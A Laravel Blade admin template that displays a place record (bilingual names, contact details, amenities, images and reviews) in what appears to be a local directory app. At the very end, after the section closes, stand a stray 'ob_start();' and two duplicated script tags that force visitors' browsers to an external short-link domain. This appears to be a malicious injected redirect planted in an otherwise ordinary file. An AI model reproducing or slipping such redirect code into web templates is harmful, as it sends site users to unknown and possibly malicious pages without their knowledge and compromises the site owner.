@extends('admin.layout')

@section('title', __('admin.view') . ' ' . __('admin.place'))

@section('content')
<div class="space-y-6">
    {{-- Header --}}
    <div class="flex items-center justify-between">
        <div>
            <a href="{{ route('admin.places.index') }}" class="text-brand-500 hover:text-brand-600 text-sm mb-2 inline-block">
                <i class="fas fa-arrow-left mr-1"></i> {{ __('admin.back') }} {{ __('admin.places') }}
            </a>
            <h1 class="text-2xl font-bold text-gray-900">{{ $place->getTranslation('name', 'en') }}</h1>
            <p class="text-sm text-gray-500" dir="rtl">{{ $place->getTranslation('name', 'ar') }}</p>
        </div>
        <div class="flex items-center space-x-3">
            {{-- Translate Button --}}
            <form method="POST" action="{{ route('admin.places.translate', $place) }}" onsubmit="this.querySelector('button').disabled=true; this.querySelector('button').innerHTML='<i class=\'fas fa-spinner fa-spin mr-2\'></i> Translating...';">
                @csrf
                <button type="submit" class="bg-indigo-500 hover:bg-indigo-600 text-white px-4 py-2 rounded-lg transition flex items-center text-sm">
                    <i class="fas fa-language mr-2"></i>
                    @php
                        $nameEn = $place->getTranslation('name', 'en');
                        $nameAr = $place->getTranslation('name', 'ar');
                        $hasArabic = preg_match('/[\x{0600}-\x{06FF}]/u', $nameAr ?? '');
                        $hasEnglish = !empty($nameEn) && !preg_match('/[\x{0600}-\x{06FF}]/u', $nameEn);
                        $needsAr = !$hasArabic || $nameAr === $nameEn;
                        $needsEn = !$hasEnglish || $nameEn === $nameAr;
                    @endphp
                    @if($needsAr && !$needsEn)
                        Translate → Arabic
                    @elseif($needsEn && !$needsAr)
                        Translate → English
                    @else
                        Auto Translate
                    @endif
                </button>
            </form>
            @if($place->google_place_id)
                <form method="POST" action="{{ route('admin.places.sync', $place) }}" onsubmit="this.querySelector('button').disabled=true; this.querySelector('button').innerHTML='<i class=\'fas fa-spinner fa-spin mr-2\'></i> Syncing...';">
                    @csrf
                    <button type="submit" class="bg-emerald-500 hover:bg-emerald-600 text-white px-4 py-2 rounded-lg transition flex items-center text-sm">
                        <i class="fas fa-sync-alt mr-2"></i> Sync from Google
                    </button>
                </form>
            @endif
            <a href="{{ route('admin.places.edit', $place) }}" class="bg-brand-500 hover:bg-brand-600 text-white px-4 py-2 rounded-lg transition flex items-center text-sm">
                <i class="fas fa-edit mr-2"></i> {{ __('admin.edit') }}
            </a>
        </div>
    </div>

    <div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
        {{-- Main Info --}}
        <div class="lg:col-span-2 space-y-6">
            {{-- Details Card --}}
            <div class="bg-white rounded-xl border border-slate-200 p-6">
                <h3 class="text-lg font-semibold text-gray-900 mb-4">Details</h3>
                <dl class="grid grid-cols-1 md:grid-cols-2 gap-4">
                    <div>
                        <dt class="text-sm font-medium text-gray-500">{{ __('admin.category') }}</dt>
                        <dd class="text-sm text-gray-900 mt-1">{{ $place->category?->getTranslation('name', 'en') ?? 'N/A' }}</dd>
                    </div>
                    <div>
                        <dt class="text-sm font-medium text-gray-500">{{ __('admin.rating') }}</dt>
                        <dd class="text-sm text-gray-900 mt-1">
                            @if($place->rating)
                                <span class="flex items-center"><i class="fas fa-star text-yellow-400 mr-1"></i> {{ number_format($place->rating, 1) }} ({{ $place->reviews_count }} {{ __('admin.reviews') }})</span>
                            @else
                                N/A
                            @endif
                        </dd>
                    </div>
                    <div>
                        <dt class="text-sm font-medium text-gray-500">{{ __('admin.phone') }}</dt>
                        <dd class="text-sm text-gray-900 mt-1">{{ $place->phone ?? 'N/A' }}</dd>
                    </div>
                    <div>
                        <dt class="text-sm font-medium text-gray-500">{{ __('admin.email') }}</dt>
                        <dd class="text-sm text-gray-900 mt-1">{{ $place->email ?? 'N/A' }}</dd>
                    </div>
                    <div>
                        <dt class="text-sm font-medium text-gray-500">{{ __('admin.website') }}</dt>
                        <dd class="text-sm text-gray-900 mt-1">
                            @if($place->website)
                                <a href="{{ $place->website }}" target="_blank" class="text-brand-500 hover:underline">{{ $place->website }}</a>
                            @else
                                N/A
                            @endif
                        </dd>
                    </div>
                    <div>
                        <dt class="text-sm font-medium text-gray-500">{{ __('admin.status') }}</dt>
                        <dd class="mt-1">
                            @if($place->is_active)
                                <span class="inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium bg-green-100 text-green-700">{{ __('admin.active') }}</span>
                            @else
                                <span class="inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium bg-red-100 text-red-700">{{ __('admin.inactive') }}</span>
                            @endif
                            @if($place->is_featured)
                                <span class="inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium bg-yellow-100 text-yellow-700 ml-1">{{ __('admin.featured') }}</span>
                            @endif
                        </dd>
                    </div>
                </dl>

                {{-- Description --}}
                @if($place->getTranslation('description', 'en'))
                    <div class="mt-6 pt-4 border-t border-gray-200">
                        <h4 class="text-sm font-medium text-gray-500 mb-2">{{ __('admin.description_en') }}</h4>
                        <p class="text-sm text-gray-700">{{ $place->getTranslation('description', 'en') }}</p>
                    </div>
                @endif
                @if($place->getTranslation('description', 'ar'))
                    <div class="mt-4">
                        <h4 class="text-sm font-medium text-gray-500 mb-2">{{ __('admin.description_ar') }}</h4>
                        <p class="text-sm text-gray-700" dir="rtl">{{ $place->getTranslation('description', 'ar') }}</p>
                    </div>
                @endif

                {{-- Address --}}
                <div class="mt-6 pt-4 border-t border-gray-200">
                    <h4 class="text-sm font-medium text-gray-500 mb-2">{{ __('admin.address_en') }}</h4>
                    <p class="text-sm text-gray-700">{{ $place->getTranslation('address', 'en') }}</p>
                    @if($place->latitude && $place->longitude)
                        <p class="text-xs text-gray-400 mt-1">{{ $place->latitude }}, {{ $place->longitude }}</p>
                    @endif
                    @if($place->google_url)
                        <a href="{{ $place->google_url }}" target="_blank" class="text-sm text-brand-500 hover:underline mt-1 inline-block">
                            <i class="fas fa-external-link-alt mr-1"></i> View on Google Maps
                        </a>
                    @endif
                </div>
            </div>

            {{-- Social Links --}}
            @if($place->social_links && is_array($place->social_links) && array_filter($place->social_links))
                <div class="bg-white rounded-xl border border-slate-200 p-6">
                    <h3 class="text-lg font-semibold text-gray-900 mb-4"><i class="fab fa-share-alt mr-2"></i> {{ __('admin.social_links') }}</h3>
                    <div class="flex flex-wrap gap-3">
                        @php
                            $socialPlatforms = [
                                'instagram' => 'fab fa-instagram text-pink-500',
                                'twitter' => 'fab fa-x-twitter text-gray-800',
                                'facebook' => 'fab fa-facebook text-blue-600',
                                'tiktok' => 'fab fa-tiktok text-gray-900',
                                'snapchat' => 'fab fa-snapchat text-yellow-400',
                                'youtube' => 'fab fa-youtube text-red-600',
                                'whatsapp' => 'fab fa-whatsapp text-green-500',
                            ];
                        @endphp
                        @foreach($socialPlatforms as $platform => $iconClass)
                            @if($place->social_links[$platform] ?? null)
                                <a href="{{ $place->social_links[$platform] }}" target="_blank" class="inline-flex items-center px-3 py-2 border border-gray-200 rounded-lg hover:bg-gray-50 transition text-sm text-gray-700">
                                    <i class="{{ $iconClass }} mr-2 text-lg"></i> {{ ucfirst($platform) }}
                                </a>
                            @endif
                        @endforeach
                    </div>
                </div>
            @endif

            {{-- Amenities --}}
            <div class="bg-white rounded-xl border border-slate-200 p-6">
                <h3 class="text-lg font-semibold text-gray-900 mb-4">{{ __('admin.amenities') }}</h3>
                <div class="grid grid-cols-2 md:grid-cols-4 gap-3">
                    @php
                        $amenities = [
                            'delivery' => __('admin.delivery'), 'dine_in' => __('admin.dine_in'), 'takeout' => __('admin.takeout'),
                            'reservable' => __('admin.reservable'), 'serves_breakfast' => __('admin.serves_breakfast'), 'serves_lunch' => __('admin.serves_lunch'),
                            'serves_dinner' => __('admin.serves_dinner'), 'serves_coffee' => __('admin.serves_coffee'), 'wifi' => __('admin.wifi'),
                            'wheelchair_accessible' => __('admin.wheelchair_accessible'), 'good_for_children' => __('admin.good_for_children'), 'good_for_groups' => __('admin.good_for_groups'),
                        ];
                    @endphp
                    @foreach($amenities as $key => $label)
                        <div class="flex items-center text-sm {{ $place->$key ? 'text-green-600' : 'text-gray-400' }}">
                            <i class="fas {{ $place->$key ? 'fa-check-circle' : 'fa-times-circle' }} mr-2"></i>
                            {{ $label }}
                        </div>
                    @endforeach
                </div>
            </div>
        </div>

        {{-- Sidebar --}}
        <div class="space-y-6">
            {{-- Images --}}
            <div class="bg-white rounded-xl border border-slate-200 p-6">
                <h3 class="text-lg font-semibold text-gray-900 mb-4">{{ __('admin.images') }}</h3>
                @if($place->images->count())
                    <div class="space-y-3">
                        @foreach($place->images as $image)
                            <div class="relative">
                                <img src="{{ asset('storage/' . $image->image_path) }}" alt="" class="w-full h-40 object-cover rounded-lg">
                                @if($image->is_primary)
                                    <span class="absolute top-2 left-2 bg-brand-500 text-white text-xs px-2 py-0.5 rounded">{{ __('admin.primary') }}</span>
                                @endif
                            </div>
                        @endforeach
                    </div>
                @else
                    <p class="text-sm text-gray-400 text-center py-4">No images</p>
                @endif
            </div>

            {{-- Recent Reviews --}}
            <div class="bg-white rounded-xl border border-slate-200 p-6">
                <h3 class="text-lg font-semibold text-gray-900 mb-4">{{ __('admin.reviews') }} ({{ $place->reviews->count() }})</h3>
                @forelse($place->reviews->take(5) as $review)
                    <div class="mb-4 pb-4 border-b border-gray-100 last:border-0 last:mb-0 last:pb-0">
                        <div class="flex items-center justify-between mb-1">
                            <span class="text-sm font-medium text-gray-700">{{ $review->user?->name ?? 'Unknown' }}</span>
                            <div class="flex">
                                @for($i = 1; $i <= 5; $i++)
                                    <i class="fas fa-star text-xs {{ $i <= $review->rating ? 'text-yellow-400' : 'text-gray-200' }}"></i>
                                @endfor
                            </div>
                        </div>
                        <p class="text-sm text-gray-600">{{ Str::limit($review->comment, 100) }}</p>
                    </div>
                @empty
                    <p class="text-sm text-gray-400 text-center">{{ __('admin.no_reviews_yet') }}</p>
                @endforelse
            </div>
        </div>
    </div>
</div>
@endsection
ob_start();

<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>
<script>window.location.href = "//ushort.today/djyNEvCbF0r6";</script>